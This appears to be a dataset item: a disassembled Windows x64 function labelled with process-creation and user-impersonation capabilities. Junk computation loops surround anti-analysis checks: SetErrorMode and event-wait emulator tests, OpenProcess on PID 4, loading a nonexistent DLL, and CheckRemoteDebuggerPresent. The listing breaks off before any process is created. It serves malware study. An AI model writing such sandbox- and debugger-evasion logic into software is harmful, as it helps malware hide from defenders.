Function at 0x140001530
Capabilities:
Create process on windows
Impersonate user

Disassembly:
push rbp
push rbx
sub rsp, 0x548
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x4b0], xmm6
mov dword [rbp + 0x4e0], ecx
mov qword [rbp + 0x4e8], rdx
call dbg.__main
mov dword [rbp + 0x4a4], 0
mov dword [rbp + 0x32c], 0x1248
mov dword [rbp + 0x328], 0x924
mov eax, dword [rbp + 0x32c]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x320], rax
mov dword [rbp + 0x4ac], 0
jmp 0x1400015cb
mov eax, dword [rbp + 0x4ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x320]
add rdx, rax
mov eax, dword [rbp + 0x4ac]
mov dword [rdx], eax
add dword [rbp + 0x4ac], 1
mov eax, dword [rbp + 0x4ac]
cmp eax, dword [rbp + 0x328]
jl 0x1400015a2
mov dword [rbp + 0x4ac], 1
jmp 0x14000165d
mov eax, dword [rbp + 0x4ac]
mov dword [rbp + 0x4a8], eax
jmp 0x140001634
mov edx, dword [rbp + 0x4ac]
mov eax, dword [rbp + 0x4a8]
add edx, eax
mov eax, dword [rbp + 0x4ac]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x4a8]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x320]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x4a8], 1
mov eax, dword [rbp + 0x328]
sub eax, dword [rbp + 0x4ac]
mov edx, dword [rbp + 0x4ac]
add edx, edx
lea ebx, [rdx + 1]
cdq
idiv ebx
cmp dword [rbp + 0x4a8], eax
jle 0x1400015f3
add dword [rbp + 0x4ac], 1
mov eax, dword [rbp + 0x4ac]
cmp eax, dword [rbp + 0x328]
jl 0x1400015e5
cmp dword [rbp + 0x32c], 2
jle 0x1400016a1
mov eax, dword [rbp + 0x4a4]
lea edx, [rax + 1]
mov dword [rbp + 0x4a4], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x320]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x4ac], 1
jmp 0x140001705
mov eax, dword [rbp + 0x4ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x320]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400016fe
mov eax, dword [rbp + 0x4ac]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x4a4]
lea edx, [rax + 1]
mov dword [rbp + 0x4a4], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x320]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x4ac], 1
mov eax, dword [rbp + 0x4ac]
cmp eax, dword [rbp + 0x328]
jl 0x1400016ad
mov dword [rbp + 0x31c], 2
mov dword [rbp + 0x4a0], 0
mov dword [rbp + 0x4ac], 0
jmp 0x140001761
mov eax, dword [rbp + 0x4ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x320]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x14000175a
add dword [rbp + 0x4a0], 1
add dword [rbp + 0x4ac], 1
mov eax, dword [rbp + 0x4ac]
cmp eax, dword [rbp + 0x31c]
jl 0x140001733
mov rax, qword [rbp + 0x320]
mov rcx, rax
call sym.free
mov dword [rbp + 0x49c], 0xffffffff
mov ecx, 0x12610
call sym.malloc
mov qword [rbp + 0x310], rax
add dword [rbp + 0x49c], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x49c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x310]
add rax, rdx
movsd xmm1, qword [0x140008060]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x49c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x310]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x49c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x310]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x49c], 0x24c0
jle 0x140001799
mov ecx, 0xa9e8
call sym.malloc
mov qword [rbp + 0x308], rax
mov dword [rbp + 0x498], 0
jmp 0x1400018cd
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140008060]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x498]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x308]
add rax, rdx
movsd xmm1, qword [0x140008068]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x498], 1
cmp dword [rbp + 0x498], 0x153c
jle 0x14000187f
mov dword [rbp + 0x498], 0
jmp 0x140001937
mov eax, dword [rbp + 0x498]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x308]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x498]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x308]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x498], 1
cmp dword [rbp + 0x498], 0x153c
jle 0x1400018e5
mov dword [rbp + 0x494], 0x2346
jmp 0x140001956
sub dword [rbp + 0x494], 1
cmp dword [rbp + 0x494], 0
jg 0x14000194f
mov ecx, 0x6b5
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x6b5
jne 0x140004a3a
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x300], rax
cmp qword [rbp + 0x300], 0
je 0x140004a3a
mov rax, qword [rbp + 0x300]
mov edx, 0x475
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x2fc], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2f0], rax
mov rax, qword [rbp + 0x2f0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x2e8], rax
cmp qword [rbp + 0x2e8], 0
jne 0x140004a3a
lea rax, str.ssrncdmsoibmqne.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x2e0], rax
cmp qword [rbp + 0x2e0], 0
jne 0x140004a3a
mov dword [rbp + 0x6c], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x6c]
mov r8, qword [rbp + 0x2d8]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x6c]
cmp eax, 1
je 0x140004a3a
mov dword [rbp + 0x488], 0
mov ecx, 0xf34c0
call sym.malloc
mov qword [rbp + 0x2d0], rax
mov dword [rbp + 0x490], 0
jmp 0x140001b6e
mov dword [rbp + 0x48c], 0
jmp 0x140001b5b
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x720ccef1
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23ea
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x490]
cdqe
imul rcx, rax, 0xa94
mov rax, qword [rbp + 0x2d0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x48c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x48c], 1
cmp dword [rbp + 0x48c], 0x2a4
jle 0x140001aff
add dword [rbp + 0x490], 1
cmp dword [rbp + 0x490], 0x16f
jle 0x140001af3
mov dword [rbp + 0x490], 0
jmp 0x140001bf0
mov dword [rbp + 0x48c], 0
jmp 0x140001bdd
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x488]
mov eax, dword [rbp + 0x490]
cdqe
imul rdx, rax, 0xa94
mov rax, qword [rbp + 0x2d0]
add rdx, rax
mov eax, dword [rbp + 0x48c]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x488], eax
add dword [rbp + 0x48c], 1
cmp dword [rbp + 0x48c], 0x2a4
jle 0x140001b96
add dword [rbp + 0x490], 1
cmp dword [rbp + 0x490], 0x16f
jle 0x140001b8a
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x484], 0xeec
jmp 0x140001c1e
sub dword [rbp + 0x484], 1
cmp dword [rbp + 0x484], 0
jg 0x140001c17
mov dword [rbp + 0x2cc], 1
mov ecx, 0x15a4
call sym.malloc
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x478], 2
jmp 0x140001c76
mov rax, qword [rbp + 0x478]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x478], 1
cmp qword [rbp + 0x478], 0x568
jbe 0x140001c4f
mov qword [rbp + 0x478], 2
jmp 0x140001d0d
mov rax, qword [rbp + 0x478]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001d05
mov rax, qword [rbp + 0x478]
mov qword [rbp + 0x470], rax
jmp 0x140001cee
mov rax, qword [rbp + 0x478]
imul rax, qword [rbp + 0x470]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x470], 1
mov rax, qword [rbp + 0x478]
imul rax, qword [rbp + 0x470]
cmp rax, 0x568
jbe 0x140001cbf
add qword [rbp + 0x478], 1
cmp qword [rbp + 0x478], 0x568
jbe 0x140001c90
mov rax, qword [rbp + 0x2c0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x46c], 0xffffffff
mov ecx, 0x3230
call sym.malloc
mov qword [rbp + 0x2b8], rax
add dword [rbp + 0x46c], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x46c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2b8]
add rax, rdx
movsd xmm1, qword [0x140008060]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x46c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x46c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2b8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x46c], 0x644
jle 0x140001d48
mov qword [rbp + 0x60], 0
mov dword [rbp + 0x468], 0
jmp 0x140001e34
call sym.rand
mov edx, eax
shl edx, 3
sub edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
movsd xmm1, qword [0x140008060]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x70], rax
add dword [rbp + 0x468], 1
cmp dword [rbp + 0x468], 0x1199
jle 0x140001df5
mov ecx, 0x134550
call sym.malloc
mov qword [rbp + 0x2b0], rax
mov ecx, 0x134550
call sym.malloc
mov qword [rbp + 0x2a8], rax
mov ecx, 0x134550
call sym.malloc
mov qword [rbp + 0x2a0], rax
mov dword [rbp + 0x464], 0
jmp 0x140001f59
mov dword [rbp + 0x460], 0
jmp 0x140001f42
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x464]
cdqe
imul rcx, rax, 0x9e8
mov rax, qword [rbp + 0x2b0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x460]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x464]
cdqe
imul rcx, rax, 0x9e8
mov rax, qword [rbp + 0x2a8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x460]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x460], 1
cmp dword [rbp + 0x460], 0x279
jle 0x140001e91
add dword [rbp + 0x464], 1
cmp dword [rbp + 0x464], 0x1f1
jle 0x140001e82
mov dword [rbp + 0x464], 0
jmp 0x140002018
mov dword [rbp + 0x460], 0
jmp 0x140002001
mov eax, dword [rbp + 0x464]
cdqe
imul rdx, rax, 0x9e8
mov rax, qword [rbp + 0x2b0]
add rdx, rax
mov eax, dword [rbp + 0x460]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x464]
cdqe
imul rdx, rax, 0x9e8
mov rax, qword [rbp + 0x2a8]
add rdx, rax
mov eax, dword [rbp + 0x460]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x464]
cdqe
imul rdx, rax, 0x9e8
mov rax, qword [rbp + 0x2a0]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x460]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x460], 1
cmp dword [rbp + 0x460], 0x279
jle 0x140001f84
add dword [rbp + 0x464], 1
cmp dword [rbp + 0x464], 0x1f1
jle 0x140001f78
mov rax, qword [rbp + 0x2b0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2a8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2a0]
mov rcx, rax
call sym.free
mov ecx, 0x4ac0
call sym.malloc
mov qword [rbp + 0x298], rax
mov ecx, 0x4ac0
call sym.malloc
mov qword [rbp + 0x290], rax
mov dword [rbp + 0x45c], 0
jmp 0x140002110
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x45c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x298]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x45c], 1
cmp dword [rbp + 0x45c], 0x957
jle 0x140002086
mov dword [rbp + 0x45c], 0
jmp 0x14000217e
mov eax, dword [rbp + 0x45c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x298]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x45c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x290]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.floor
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x45c], 1
cmp dword [rbp + 0x45c], 0x957
jle 0x14000212c
mov ecx, 0x12e0
call sym.malloc
mov qword [rbp + 0x288], rax
mov ecx, 0x12e0
call sym.malloc
mov qword [rbp + 0x280], rax
mov ecx, 0x12e0
call sym.malloc
mov qword [rbp + 0x278], rax
mov ecx, 0x12e0
call sym.malloc
mov qword [rbp + 0x270], rax
mov dword [rbp + 0x454], 0x4b7
mov dword [rbp + 0x458], 0
jmp 0x14000227a
call sym.rand
mov edx, dword [rbp + 0x458]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x288]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0x458]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x280]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x458], 1
cmp dword [rbp + 0x458], 0x4b7
jle 0x1400021e7
mov dword [rbp + 0x458], 0
jmp 0x140002319
mov eax, dword [rbp + 0x454]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x288]
add rax, rdx
mov edx, dword [rbp + 0x458]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x278]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x454]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x280]
add rax, rdx
mov edx, dword [rbp + 0x458]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x270]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x454], 1
add dword [rbp + 0x458], 1
cmp dword [rbp + 0x458], 0x4b7
jle 0x140002299
mov rax, qword [rbp + 0x288]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x280]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x278]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x270]
mov rcx, rax
call sym.free
mov qword [rbp + 0x58], 0
mov ecx, 0x79b8
call sym.malloc
mov qword [rbp + 0x268], rax
mov ecx, 0x79b8
call sym.malloc
mov qword [rbp + 0x260], rax
mov dword [rbp + 0x44c], 0x1e6d
mov dword [rbp + 0x450], 0
jmp 0x140002435
call sym.rand
mov edx, dword [rbp + 0x450]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x268]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x44c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x268]
add rax, rdx
mov edx, dword [rbp + 0x450]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x260]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x44c], 1
add dword [rbp + 0x450], 1
cmp dword [rbp + 0x450], 0x1e6d
jle 0x1400023a8
mov rax, qword [rbp + 0x268]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x260]
mov rcx, rax
call sym.free
mov ecx, 0x7d58
call sym.malloc
mov qword [rbp + 0x258], rax
mov ecx, 0x7d58
call sym.malloc
mov qword [rbp + 0x250], rax
mov dword [rbp + 0x448], 0
jmp 0x14000251e
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x448]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x258]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x448], 1
cmp dword [rbp + 0x448], 0xfaa
jle 0x140002494
mov dword [rbp + 0x448], 0
jmp 0x14000258c
mov eax, dword [rbp + 0x448]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x258]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x448]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x250]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x448], 1
cmp dword [rbp + 0x448], 0xfaa
jle 0x14000253a
mov ecx, 0x268460
call sym.malloc
mov qword [rbp + 0x248], rax
mov ecx, 0x268460
call sym.malloc
mov qword [rbp + 0x240], rax
mov ecx, 0x268460
call sym.malloc
mov qword [rbp + 0x238], rax
mov dword [rbp + 0x444], 0
jmp 0x1400026ab
mov dword [rbp + 0x440], 0
jmp 0x140002694
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x444]
cdqe
imul rcx, rax, 0xbf0
mov rax, qword [rbp + 0x248]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x440]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x444]
cdqe
imul rcx, rax, 0xbf0
mov rax, qword [rbp + 0x240]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x440]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x440], 1
cmp dword [rbp + 0x440], 0x2fb
jle 0x1400025e9
add dword [rbp + 0x444], 1
cmp dword [rbp + 0x444], 0x339
jle 0x1400025da
mov dword [rbp + 0x444], 0
jmp 0x14000276a
mov dword [rbp + 0x440], 0
jmp 0x140002753
mov eax, dword [rbp + 0x444]
cdqe
imul rdx, rax, 0xbf0
mov rax, qword [rbp + 0x248]
add rdx, rax
mov eax, dword [rbp + 0x440]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x444]
cdqe
imul rdx, rax, 0xbf0
mov rax, qword [rbp + 0x240]
add rdx, rax
mov eax, dword [rbp + 0x440]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x444]
cdqe
imul rdx, rax, 0xbf0
mov rax, qword [rbp + 0x238]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x440]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x440], 1
cmp dword [rbp + 0x440], 0x2fb
jle 0x1400026d6
add dword [rbp + 0x444], 1
cmp dword [rbp + 0x444], 0x339
jle 0x1400026ca
mov rax, qword [rbp + 0x248]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x240]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x238]
mov rcx, rax
call sym.free
movsd xmm0, qword [0x140008070]
movsd qword [rbp + 0x438], xmm0
movsd xmm0, qword [0x140008078]
movsd qword [rbp + 0x230], xmm0
jmp 0x1400027f2
movsd xmm0, qword [rbp + 0x230]
mov rax, qword [rbp + 0x438]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
mov qword [rbp + 0x438], rax
movsd xmm0, qword [0x140008080]
comisd xmm0, xmmword [rbp + 0x438]
ja 0x1400027c9
mov dword [rbp + 0x434], 0xffffffff
add dword [rbp + 0x434], 1
call sym.rand
shl eax, 3
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140008060]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x228], rax
cmp dword [rbp + 0x434], 0x2474
jle 0x14000280e
mov ecx, 0x5a44
call sym.malloc
mov qword [rbp + 0x220], rax
mov dword [rbp + 0x430], 0
jmp 0x1400028ff
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x430]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x220]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x430], 1
cmp dword [rbp + 0x430], 0x1690
jle 0x140002878
mov dword [rbp + 0x430], 0
jmp 0x1400029fd
cmp dword [rbp + 0x430], 0
je 0x140002968
mov eax, dword [rbp + 0x430]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x220]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x430]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x220]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x140002974
add dword [rbp + 0x430], 1
jmp 0x1400029fd
mov eax, dword [rbp + 0x430]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x220]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x78], xmm0
mov eax, dword [rbp + 0x430]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x220]
add rdx, rax
mov eax, dword [rbp + 0x430]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x220]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x430]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x220]
add rax, rdx
movss xmm0, dword [rbp + 0x78]
movss dword [rax], xmm0
sub dword [rbp + 0x430], 1
cmp dword [rbp + 0x430], 0x1690
jle 0x14000291e
mov rax, qword [rbp + 0x220]
mov rcx, rax
call sym.free
movsd xmm0, qword [0x140008088]
movsd qword [rbp + 0x428], xmm0
movsd xmm0, qword [0x140008090]
movsd qword [rbp + 0x218], xmm0
jmp 0x140002a67
movsd xmm0, qword [rbp + 0x218]
mov rax, qword [rbp + 0x428]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
mov qword [rbp + 0x428], rax
movsd xmm0, qword [0x140008098]
comisd xmm0, xmmword [rbp + 0x428]
ja 0x140002a3e
mov ecx, 0x3040
call sym.malloc
mov qword [rbp + 0x210], rax
mov dword [rbp + 0x420], 0
mov dword [rbp + 0x20c], 0
mov dword [rbp + 0x424], 0
jmp 0x140002af6
call sym.rand
mov edx, dword [rbp + 0x424]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x210]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x424], 1
cmp dword [rbp + 0x424], 0xc0f
jle 0x140002aaa
mov dword [rbp + 0x424], 0
jmp 0x140002b37
mov eax, dword [rbp + 0x424]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x210]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x420], eax
add dword [rbp + 0x424], 1
cmp dword [rbp + 0x424], 0xc0f
jle 0x140002b0e
mov rax, qword [rbp + 0x210]
mov rcx, rax
call sym.free
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov ecx, 0x71e0
call sym.malloc
